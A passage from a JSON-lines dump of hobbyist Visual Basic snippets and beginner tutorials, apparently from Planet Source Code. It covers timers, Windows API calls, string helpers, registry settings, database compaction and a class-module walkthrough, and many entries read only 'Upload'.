end2\n i = 0\n Do Until b1(c1 + i) <> b2(c2 + i)\n i = i + 1\n If i > max Then\n ns1 = c1\n ns2 = c2\n max = i\n End If\n If c1 + i > end1 Or c2 + i > end2 Then Exit Do\n Loop\n Next\n Next\n max = max + SubSim(ns1 + max, end1, ns2 + max, end2)\n max = max + SubSim(st1, ns1 - 1, st2, ns2 - 1)\n SubSim = max\nEnd Function\n"},{"WorldId":1,"id":9356,"LineNumber":1,"line":"'place a timer-controle & 3 Labels into your app.\nPublic Sub Wait(seconds)\n Timer1.Enabled = True\n Me.Timer1.Interval = 1000 * seconds\n While Me.Timer1.Interval > 0\n DoEvents\n Wend\n Timer1.Enabled = False\nEnd Sub\nPrivate Sub Timer1_Timer()\n Timer1.Interval = 0\nEnd Sub\n\nPrivate Sub Command1_Click()\n Label1.Caption = \"1\"\n Wait (5)\n Label2.Caption = \"2\"\n Wait (5)\n Label3.Caption = \"3\"\nEnd Sub\n"},{"WorldId":1,"id":9357,"LineNumber":1,"line":"'this is for the form; ->\nPrivate Sub Command1_Click()\n hwnd1 = FindWindow(\"Shell_traywnd\", \"\")\n Call SetWindowPos(hwnd1, 0, 0, 0, 0, 0, &H80)\nEnd Sub\nPrivate Sub Command2_Click()\n hwnd1 = FindWindow(\"Shell_traywnd\", \"\")\n Call SetWindowPos(hwnd1, 0, 0, 0, 0, 0, &H40)\nEnd Sub"},{"WorldId":1,"id":9359,"LineNumber":1,"line":"' !! Dial the Net Automatically !!\n' This waits until the connection is made and THEN\n' proceeds. --Bradley Liang\nPrivate Sub Command1_Click()\n'To prompt the user to connect to the Net\nIf InternetAutodial(INTERNET_AUTODIAL_FORCE_ONLINE, 0) Then\n\tMsgBox \"You're Connected!\", vbInformation\nEnd If\n'To automatically start dialling\nIf InternetAutodial(INTERNET_AUTODIAL_FORCE_UNATTENDED, 0) Then\n\tMsgBox \"You're Connected!\", vbInformation\nEnd If\n'To disconnect an automatically dialled connection\nIf InternetAutodialHangup(0) Then\n MsgBox \"You're Disconnected!\", vbInformation\nEnd If\nEnd Sub"},{"WorldId":1,"id":9362,"LineNumber":1,"line":"Function IsOdd(Var as integer)\nIsOdd = -(Var And 1)\nEnd Function"},{"WorldId":1,"id":9364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9366,"LineNumber":1,"line":"'Turn Monitor on: ->\n SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal 0&\n'Turn Monitor off: ->\n SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal -1&"},{"WorldId":1,"id":9368,"LineNumber":1,"line":"'Here it is (example with msgbox)\nMsgBox StrConv(\"do you think this is usefull ? i do.\", vbProperCase)"},{"WorldId":1,"id":9373,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9381,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9382,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9383,"LineNumber":1,"line":"' User inputs a string of 2 characters, uppercase or lowercase.\n'Function returns the combined integer value of the string (ex. A = 1, B=2...\n'AA = 27, AB = 28...ect.)\nFunction GetNumber(UserInput As String) As Integer\nDim UpperCaseArray(1, 26) As String\nDim LowerCaseArray(1, 26) As String\nDim UpperCaseString As String\nDim LowerCaseString As String\nDim FirstNum As Integer\nDim SecondNum As Integer\nUpperCaseString = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\nLowerCaseString = \"abcdefghijklmnopqrstuvwxyz\"\n'Assign string characters to array cells\nFor x = 1 To Len(UpperCaseString)\n UpperCaseArray(1, x) = Mid(UpperCaseString, x, 1)\n LowerCaseArray(1, x) = Mid(LowerCaseString, x, 1)\nNext x\nIf Len(UserInput) = 1 Then ' check for single character input\n For y = 1 To Len(UpperCaseString)\n 'If the input from the user is A-Z or a-z the Function returns 1-26\n If Mid(UserInput, 1, 1) = UpperCaseArray(1, y) Then\n GetNumber = y\n End If\n If Mid(UserInput, 1, 1) = LowerCaseArray(1, y) Then\n GetNumber = y\n End If\n Next y\nElse\n 'If User Input has two characters...\n 'Check first character...store numerical value in FirstNum\n \n For z = 1 To Len(UpperCaseString)\n If Mid(UserInput, 1, 1) = UpperCaseArray(1, z) Then\n FirstNum = z\n End If\n If Mid(UserInput, 1, 1) = LowerCaseArray(1, z) Then\n FirstNum = z\n End If\n Next z\n \n 'Check second character\n 'Store numerical value in SecondNum\n For w = 1 To Len(UpperCaseString)\n If Mid(UserInput, 2, 1) = UpperCaseArray(1, w) Then\n SecondNum = w\n End If\n If Mid(UserInput, 2, 1) = LowerCaseArray(1, w) Then\n SecondNum = w\n End If\n Next w\n \n 'Algorithm for adding the values for the first character to that\n 'of the second character to determine which set of 26 the user\n 'selected.\n 'i.e. if user enters \"AA\" then this loop determines that the first\n 'character is equal to one. the loop returns 26 + 1, or 27. So, the\n 'value of user input of \"AA\" is 27. And so on and so forth...\n 'If the value entered is \"BA\", the algorithm returns 52 + 1, or 53\n 'This loop will return the values for up to \"IZ\"\n 'To extend to ZZ, merely change number of iterations in this loop to 26\n For V = 1 To 9\n If FirstNum = V Then\n GetNumber = ((26 * V) + SecondNum)\n End If\n Next V\nEnd If\nEnd Function\n"},{"WorldId":1,"id":9385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9390,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9393,"LineNumber":1,"line":"Put this in a CommandButton\n'\nDim aH(8)\naH(1) = \"1/1\"\naH(2) = \"5/2\"\naH(3) = \"21/3\"\naH(4) = \"1/5\"\naH(5) = \"5/5\"\naH(6) = \"16/9\"\naH(7) = \"20/10\"\naH(8) = \"25/12\"\n\ndebug.print = WorkingDays(\"01/01/00\", \"01/01/01\", aH())\n'\n\nPublic Function WorkingDays(dBeginDate As Date, dEndDate As Date, ByRef aHolidays As Variant) As Integer\n Dim intTotalDays As Integer\n Dim intHoliday As Integer\n Dim booWeekend As Boolean\n Dim intSatSun As Integer\n Dim strCDayMonth As String\n Dim strNDayMonth As String\n \n Dim i As Integer\n Dim dNewDate As Date\n If dBeginDate>=dEndDate then exit Function\n intTotalDays = DateDiff(\"d\", dBeginDate, dEndDate)\n For i = 1 To intTotalDays\n dNewDate = DateAdd(\"d\", i, dBeginDate)\n If isWeekEnd(dNewDate) Then\n booWeekend = True\n Else\n booWeekend = False\n End If\n \n strNDayMonth = Day(dNewDate) & \"/\" & Month(dNewDate)\n For n = 1 To UBound(aHolidays)\n' strMonth = Mid(aHolidays(h), istr(\"/\", aHolidays(h)) + 1)\n If (strNDayMonth = aHolidays(n)) And Not booWeekend Then\n intHoliday = intHoliday + 1\n booWeekend = False\n Exit For\n End If\n Next n\n \n If booWeekend Then\n intSatSun = intSatSun + 1\n End If\n \n Next i\n \n WorkingDays = intTotalDays - intSatSun - intHoliday\nEnd Function\nPrivate Function isWeekEnd(ByRef dCheck As Date) As Boolean\n If DatePart(\"w\", dCheck) = 1 Or DatePart(\"w\", dCheck) = 7 Then isWeekEnd = True\nEnd Function\n"},{"WorldId":1,"id":9396,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9401,"LineNumber":1,"line":"SaveSetting \"Folder Name\", \"Sub-Folder Name\" , \"Key Name\" , \"Key Value\" \n' Writes to the registry under HKEY_CURRENT_USER,VB AND VBA PROGRAM SETTINGS. (then your folder) This is good for keeping track of runtimes, user settings, ect..\nGetSetting \"Folder Name\", \"Sub-Folder Name\", \"Key\"\n' Retrives the value of the KEY specified in the code. So, if KEY's value was 5, then it would return a value of 5.\n"},{"WorldId":1,"id":9409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9411,"LineNumber":1,"line":"' Make a project with only a module and put this\n' in it:\nDeclare Function GetShortPathName Lib \"kernel32\" Alias \"GetShortPathNameA\" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal lBuffer As Long) As Long\nPublic Function GetShortPath(strFileName As String) As String\n Dim lngRes As Long, strPath As String\n strPath = String$(165, 0)\n lngRes = GetShortPathName(strFileName, strPath, 164)\n GetShortPath = Left$(strPath, lngRes)\nEnd Function\nPublic Function GetPathAndFileName(ByVal PathAndFileName, ByRef FileName As String) As String\n Dim lPos As Long\n Dim lLastPos As Long\n \n lPos = InStr(1, PathAndFileName, \"\\\")\n While lPos <> 0\n lLastPos = lPos\n lPos = InStr(lLastPos + 1, PathAndFileName, \"\\\")\n Wend\n \n GetPathAndFileName = Left(PathAndFileName, lLastPos - 1)\n FileName = Mid(PathAndFileName, lLastPos + 1)\n \nEnd Function\nSub Main()\n On Error Resume Next\n Dim property As String\n Dim newfile As String\n Open Command For Input As #1\n Do Until EOF(1)\n Line Input #1, property\n If property = \"Retained=0\" Then\n Else\n If property = \"Retained=1\" Then\n Else\n If property = \"DebugStartupOption=0\" Then\n Else\n If property = \"DebugStartupOption=1\" Then\n Else\n newfile = newfile & property & vbCrLf\n End If\n End If\n End If\n End If\n Loop\n Close #1\n Open Command For Output As #1\n Print #1, newfile\n Close #1\n Dim RetVal\n Dim Path As String\n Dim File As String\n Dim ShortPath\n Dim apppath, cmdline\n If Len(App.Path) <> 2 Then 'if path is not root, add a \"\\\"\n apppath = App.Path & \"\\\"\n Else\n apppath = App.Path\n End If\n Path = GetPathAndFileName(Command, File)\n ShortPath = GetShortPath(Path)\n cmdline = apppath & \"Vb5.exe \" & ShortPath & \"\\\" & File\n RetVal = Shell(cmdline, vbNormalFocus)\n End\nEnd Sub\n"},{"WorldId":1,"id":9415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9425,"LineNumber":1,"line":"Function trim_data(data As String, from_left As Integer, from_right As Integer) As String\n 'If you try to trim to much, returns an empty string\n If Len(data) <= from_left + from_right Then\n trim_data = \"\"\n 'If not, trim text from sides and return\n Else\n trim_data = Mid(data, from_left + 1, Len(data) - from_left - from_right)\n End If\nEnd Function"},{"WorldId":1,"id":9427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9436,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9442,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9443,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9449,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9452,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9458,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9470,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9481,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9491,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9493,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9499,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9502,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9524,"LineNumber":1,"line":"The Beginners Guide To API\nWhat is Windows API\nIt is Windows Application Programming\nInterface. This basically means that Windows has built in\nfunctions that programmers can use. These are built into its DLL\nfiles. (Dynamic Link Library)\nSo What can these functions do for me (you\nmight ask) ?\nThese pre-built functions allow your program to\ndo stuff without you actually have to program them.\nExample: You want your VB program to Restart\nWindows, instead of your program communicating directly to the\nvarious bits & pieces to restart your computer. All you have\nto do is run the pre-built function that Windows has kindly made\nfor you. This would be what you would type if you have VB4 32, or\nhigher.\nIn your module\nPrivate<font\nsize=\"2\"> Declare<font\nsize=\"2\"> Function<font\nsize=\"2\"> ExitWindowsEx Lib "user32"\n(ByVal uFlags As Long, ByVal dwReserved As Long) As Long\nIf you wanted your computer to shutdown after\nyou press Command1 then type this In your Form under\nSub Command1_Click ()\nX = ExitWindowsEx (15, 0) \nEnd Sub \n----------------\nPrivate<font\nsize=\"2\"> Declare<font\nsize=\"2\"> Function<font\nsize=\"2\"> ExitWindowsEx Lib "user32"\n(ByVal uFlags As Long, ByVal dwReserved As Long) As Long\nNow to Explain what the above means\nPrivate<font\nsize=\"2\"> Declare<font\nsize=\"2\"> Function<font\nsize=\"2\"> ExitWindowsEx tells VB to Declare a Private Function\ncalled "ExitWindowsEx". \nThe Lib "user32" part\ntells VB that the function ExitWindowsEx is in the Library\n(DLL file) called "user32". \nThe final part tells VB to expect the variables\nthat the ExitWindowsEx function uses. \n(ByVal uFlags As Long, ByVal dwReserved As\nLong) As Long\nThe ByVal means pass this variable by\nvalue instead of by reference.\nThe As Long tells VB what data type the\ninformation is.\nYou can find more about data types in your VB\nhelp files.\nNow you should know what each part of the\nDeclaration means so now we go on to what does\nX = ExitWindowsEx (15, 0)\nFor VB to run a function it needs to know where\nto put the data it returns from the function. The X = tells\nVB to put the response from ExitWindowsEx into the\nvariable X. \nWhat's the point of X = \nIf the function runs or fails it will give you\nback a response number so you know what it has done.\nFor example if the function fails it might give\nyou back a number other than 1 so you can write some code to tell\nthe user this.\nIf x <> 1 Then MsgBox "Restart has\nFailed"\n----------\nNow you should know what everything in the\nDeclaration above means. You are now ready to start using API\ncalls in your own VB projects. \nTo get you started I have included some\nuseful API calls you might want to use that I've found on Planet\nSource Code.\nPLAY A WAVEFILE (WAV)\nDeclare <font\ncolor=\"#000080\" size=\"2\">Function\nsndPlaySound Lib<font\nsize=\"2\"> "winmm.dll" Alias "sndPlaySoundA"\n(ByVal lpszSoundName As String, ByVal uFlags As Long) As Long \nPublic <font\ncolor=\"#000080\" size=\"2\">Const SND_SYNC =\n&H0 \n<pre> Public <font\ncolor=\"#000080\">Const SND_ASYNC = &H1\n Public Const SND_NODEFAULT = &H2\n Public Const SND_MEMORY = &H4\n Public Const SND_LOOP = &H8\n Public Const SND_NOSTOP = &H10</pre>\nSub Command1_Click ()\nSoundName$ = File 'file you want to play\nexample "C:\\windows\\kerchunk.wav" \n<pre> wFlags% = SND_ASYNC Or SND_NODEFAULT\n X = sndPlaySound(SoundName$, wFlags%)</pre>\nEnd sub\nCHANGE WALLPAPER\nDeclare <font\ncolor=\"#000080\" size=\"2\">Function\nSystemParametersInfo Lib<font\nsize=\"2\"> "user32" Alias\n"SystemParametersInfoA" (ByVal uAction As Long, ByVal\nuParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As\nLong \n<pre> \n\tPublic Const SPI_SETDESKWALLPAPER = 20\n\nSub Command1_Click ()\nDim strBitmapImage As <font\ncolor=\"#000080\">String\nstrBitmapImage = "c:\\windows\\straw.bmp"\nx = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, strBitmapImage, 0)</pre>\nEnd sub\nADD FILE TO DOCUMENTS OF WINDOWS MENU BAR\nDeclare <font\ncolor=\"#000080\" size=\"2\">Sub\nSHAddToRecentDocs Lib<font\nsize=\"2\"> "shell32.dll" (ByVal uFlags As Long, ByVal pv\nAs String)\n<pre>Dim NewFile as <font\ncolor=\"#000080\">String\nNewFile="c:\\newfile.file"\nCall SHAddToRecentDocs(2,NewFile)</pre>\nMAKE FORM TRANSPARENT\n<pre>Declare Function SetWindowLong <font\ncolor=\"#000080\">Lib "user32" <font\ncolor=\"#000080\">Alias "SetWindowLongA" _\n(ByVal hwnd As Long, ByVal nIndex As Long,ByVal dwNewLong As Long) As Long\nPublic Const GWL_EXSTYLE = (-20)\nPublic Const WS_EX_TRANSPARENT = &H20&</pre>\nPrivate Sub Form_Load()\nSetWindowLong Me.hwnd, GWL_EXSTYLE,\nWS_EX_TRANSPARENT\nEnd\nAny Problems email me at <a\nhref=\"mailto:DSG@hotbot.com\">DSG@hotbot.com</a><font\nsize=\"2\"> \n"},{"WorldId":1,"id":9525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9530,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9532,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9535,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9540,"LineNumber":1,"line":"First, create a new project. now, click on the menu editor. tpye in a name for the menu(i.e. file), and set it's properties to not visible. now create some sub menu's by clicking on the line directly below where your first menu is. then click on the arrow that is pointing to the right. four little dots should appear before the menu name( i.e. ....&New). keep on creating sub menu's until your heart's content[note, you can have sub menu's of the sub menu's. just click the right arrow again]. keep all of the sub menu's visible but only set the original file(or whatever you names it) not visible. now exit the menu editor. click on view code(or double click on the form). from the left hand side combo box(which is located directly above the code input area), make sure that form1(or whatever the name of the form is) is selected. then look at the right hand combo box, select the mousedown event. the event has 4 variables, each mean somehtign different.\nButton = which mouse button was clicked. if button = 1 then the first mouse button was clicked(which is the mouse button that you use to select items and navigate). if button = 2 then that is the mouse button that you use to bring up popup menu's in windows(i.e. when you click that mouse button on your desktop and are able to select menu;s like new or properties). and button = 3 (which is for the 3 buttoned mice out there.).\nShift = tell whether the shift button is being held. shift = 1 then button is being held, shift = 0 the shift button isnt being held.\nx =this is the location where the popup menu will be on the left side of the screen. the bigger the number the farther from the left side of the screen it goes, the smaller number the closer to the left side of the screen it goes.\ny =this is the same thign as x except that y control the top of the screen, the smaller the number the closer to the top, the larger the number the closer to the bottom.\nNow that you know what all the variables mean, it's time to add the code.\nyou can use 2 different statements (that i know of[i keep learning new thigns, don't we all]) that you can use to choose whether the menu will opup or not.\nfirst is the if statement(which i use because it is easier for this purpose and doesnt need ot be complex).\nlet's say you wanted your popupmenu to come up at the x location of 300 and the y location of 300 when the user clicks the number 2 mouse button. you'd put in this.\nif button = 2 then\nme.popupmenu file,,300,300 \n'in the place of file that i have here use whatever you named the very first menu(not the submenu's)\nend if\nREMEMBER YOU MUST HAVE SUBMENU'S TO MAKE A POPUP MENU.\nyou can play with that so that the menu will popup when the first mouse button is clicked or the 3rd. you can make it come up at x300 and y300 or if you want it to come up where ever the user clicked just put\nme.popupmenu file\nthe other is the select case. say you wanted only certain menu's to come up with certain mouse lcis, the if statement for this type is too slow and is messy. you would still use the same code as above for the popup menu, but in a select case format.\nyou can make popup menu's only come up on certain object by going to view>code and then choosing say a text box. then choose the mousedown event for the text box control.\nI hope that this helps some people. If you need any help, i will be happy to send you the source code or give you any help you need.\n-Sean\n"},{"WorldId":1,"id":9548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9552,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9555,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9565,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9576,"LineNumber":1,"line":"\nPublic Function Convert(orgStr As String) As String\nFor Counter = 1 To Len(orgStr)\nX = Mid(orgStr, Counter, 1)\nIf X = LCase(X) Then\n X = UCase(X)\nElse\n X = LCase(X)\nEnd If\nConvert = Convert & X\nNext\nEnd Function"},{"WorldId":1,"id":9585,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9595,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9597,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9599,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9601,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9606,"LineNumber":1,"line":"Public Sub CompactDatabase(Location As String, _\n Optional BackupOriginal As Boolean = True)\nOn Error GoTo CompactErr\n \nDim strBackupFile As String\nDim strTempFile As String\n'Check the database exists\nIf Len(Dir(Location)) Then\n\t' Create Backup\n\tIf BackupOriginal = True Then\n\t\tstrBackupFile = GetTemporaryPath & \"backup.mdb\"\n\t\tIf Len(Dir(strBackupFile)) Then Kill strBackupFile\n\t\tFileCopy Location, strBackupFile\n\tEnd If\n\tstrTempFile = GetTemporaryPath & \"temp.mdb\"\n\tIf Len(Dir(strTempFile)) Then Kill strTempFile\n\t' Do the compacting \n 'DBEngine is a reference to the Microsoft DAO Object Lib...\n\tDBEngine.CompactDatabase Location, strTempFile\n\t' Remove the uncompressed database\n\tKill Location\n\t' Replace Uncompressed\n\tFileCopy strTempFile, Location\n\tKill strTempFile\nEnd If\nCompactErr:\n Exit Sub\nEnd Sub\nPublic Function GetTemporaryPath()\nDim strFolder As String\nDim lngResult As Long\nstrFolder = String(MAX_PATH, 0)\nlngResult = GetTempPath(MAX_PATH, strFolder)\nIf lngResult <> 0 Then\n GetTemporaryPath = Left(strFolder, InStr(strFolder, _\n\tChr(0)) - 1)\nElse\n GetTemporaryPath = \"\"\nEnd If\nEnd Function\n"},{"WorldId":1,"id":9607,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9612,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9616,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9618,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9619,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9620,"LineNumber":1,"line":"'*****Form1*****'\nOption Explicit\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n PostQuitMessage 0&\nEnd Sub\n'*****Module1*****'\nOption Explicit\nPublic Declare Function PeekMessage Lib \"user32\" Alias \"PeekMessageA\" (lpMsg As msg, ByVal hwnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long, ByVal wRemoveMsg As Long) As Long\nPublic Declare Function DispatchMessage Lib \"user32\" Alias \"DispatchMessageA\" (lpMsg As msg) As Long\nPublic Declare Function TranslateMessage Lib \"user32\" (lpMsg As msg) As Long\nPublic Declare Sub PostQuitMessage Lib \"user32\" (ByVal nExitCode As Long)\nPublic Type POINTAPI\n x As Long\n y As Long\nEnd Type\nPublic Type msg\n hwnd As Long\n message As Long\n wParam As Long\n lParam As Long\n time As Long\n pt As POINTAPI\nEnd Type\nPublic Const PM_REMOVE = &H1\nPublic Const WM_QUIT = &H12\nPublic Const WM_RBUTTONDOWN = &H204\nPrivate Sub Main()\n Dim tMsg As msg\n \n Load Form1\n Form1.Show\n Do\n If PeekMessage(tMsg, 0, 0, 0, PM_REMOVE) Then\n If tMsg.message = WM_QUIT Then Exit Do\n If tMsg.message = WM_RBUTTONDOWN Then\n MsgBox \"You clicked the right mousebutton!\" & vbCr & \"Press a key to end the app\"\n End If\n TranslateMessage tMsg\n DispatchMessage tMsg\n Else\n 'There's nothing to do for your App!\n 'In a game you could draw a new frame,\n 'this is much faster than using the Timer!\n End If\n Loop Until False\n Unload Form1\nEnd Sub\n"},{"WorldId":1,"id":9622,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9625,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9633,"LineNumber":1,"line":"Sub Pause(Duration As Double)\n'example: Pause (0.8) 'pause for .8 seconds\nDim start As Double 'declare variable\n start# = GetTickCount 'store milliseconds since boot\n Do: DoEvents 'start loop\nOn Error Resume Next 'dunno, kept giving me an error once. so i put this here and it stopped giving me the error\n Loop Until GetTickCount - start# >= (Duration# * 1000) 'loop until the actual time (minus stored time) is greater than or equal to the duration (seconds * 1000 = milliseconds)\nEnd Sub"},{"WorldId":1,"id":9641,"LineNumber":1,"line":"Const Strin1 = \"`-=~!@#$%^&*()_+[]\\{}|;':\" & \"\"\"\" & _\n \",./<>?abcdefghijklmnopqrstuvwxyzABCDEFG\" & _\n \"HIJKLMNOPQRSTUVWXYZ0123456789\"\nConst Strin2 = \"GFEDCBAzyxwvutsrqponmlkjihgfed\" & _\n \"cba?></.,\" & \"\"\"\" & \":';|}{\\][+_)(*&^%$#@\" & _\n \"!~=-`9876543210ZYXWVUTSRQPONMLKJIH\"\nFunction Convert(Character)\n Qt = Chr(34)\n Chr1 = InStr(1, Strin1, Character)\n Chr2 = Mid(Strin2, Chr1, 1)\n Convert = Chr2\nEnd Function\nFunction CharacterToNum(Character)\n CharacterToNum = InStr(1, Strin1, Character)\nEnd Function\nFunction NumToCharacter(TheNumber)\n NumToCharacter = Mid(Strin1, TheNumber, 1)\nEnd Function\nFunction zEncryptPassword(Password)\n For i = 0 To Len(Password) - 1\n TheCur = Mid(Password, i + 1, 1)\n Asdf = CharacterToNum(TheCur)\n Asdf = Asdf - i\n Asdf2 = NumToCharacter(Asdf)\n Asdf3 = Convert(Asdf2)\n SomeString = SomeString + Asdf3\n Next i\n zEncryptPassword = \"0\" & SomeString & \"1\"\nEnd Function\nFunction zEncryptUsername(Username)\n zEncryptUsername = \"2.2.2:\" & Username & \"@netzero.net\"\nEnd Function"},{"WorldId":1,"id":9646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9648,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>Class Module Tutorial</title>\n</head>\n<body>\nClass Module Tutorial\nfor Beginners\nThis project is designed to be tutorial for implementing a class module. I wrote this in \norder to learn more about modules. I used character replacement as the task since it \nmay be of use after the project is entered.┬á I hope that it will be of assistance to others.┬á┬á\nI'll start by giving a brief explanation of what a class module\nis.┬á When you create a class module, you are basically creating an\nobject.┬á This object has properties, methods, and events like the controls\nthat you put on form.┬á For example, Caption is a property of a label, Clear\nis a method of a listbox, and Click is an event for a command button.┬á\n\nThis class module allows the user to replace a chosen character with another character in \na given string.┬á It has properties, a method, and one event.\nIt should take the user between 30 minutes and 45 minutes to\ncomplete this project. \n \n \nSteps.\n1.┬á Open Visual Basic and select a standard EXE project.\n2.┬á Rename the form frmMain and save the project to\nwhatever name you like.\n3.┬á Add the following controls to the form.\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"33%\">Label1</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Enter String</td>\n </tr>\n <tr>\n <td width=\"33%\">Label2</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Enter Character</td>\n </tr>\n <tr>\n <td width=\"33%\">Label3</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Enter Replacement</td>\n </tr>\n <tr>\n <td width=\"33%\">txtString</td>\n <td width=\"33%\">Text</td>\n <td width=\"34%\">\"\"</td>\n </tr>\n <tr>\n <td width=\"33%\">txtChar</td>\n <td width=\"33%\">Text</td>\n <td width=\"34%\">\"\"</td>\n </tr>\n <tr>\n <td width=\"33%\">┬á</td>\n <td width=\"33%\">Maxlength</td>\n <td width=\"34%\">1</td>\n </tr>\n <tr>\n <td width=\"33%\">txtReplacement</td>\n <td width=\"33%\">Text</td>\n <td width=\"34%\">\"\"</td>\n </tr>\n <tr>\n <td width=\"33%\">┬á</td>\n <td width=\"33%\">Maxlength</td>\n <td width=\"34%\">1</td>\n </tr>\n <tr>\n <td width=\"33%\">Frame1</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Out Come</td>\n </tr>\n <tr>\n <td width=\"33%\">Label4</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Result</td>\n </tr>\n <tr>\n <td width=\"33%\">Label5</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Number of Replacements</td>\n </tr>\n <tr>\n <td width=\"33%\">lblResult</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">\"\"</td>\n </tr>\n <tr>\n <td width=\"33%\">┬á</td>\n <td width=\"33%\">BorderStyle</td>\n <td width=\"34%\">1-Fixed Single</td>\n </tr>\n <tr>\n <td width=\"33%\">lblCount</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">\"\"</td>\n </tr>\n <tr>\n <td width=\"33%\">┬á</td>\n <td width=\"33%\">BorderStyle</td>\n <td width=\"34%\">1-FixedSingle</td>\n </tr>\n <tr>\n <td width=\"33%\">cmdReplace</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Replace</td>\n </tr>\n 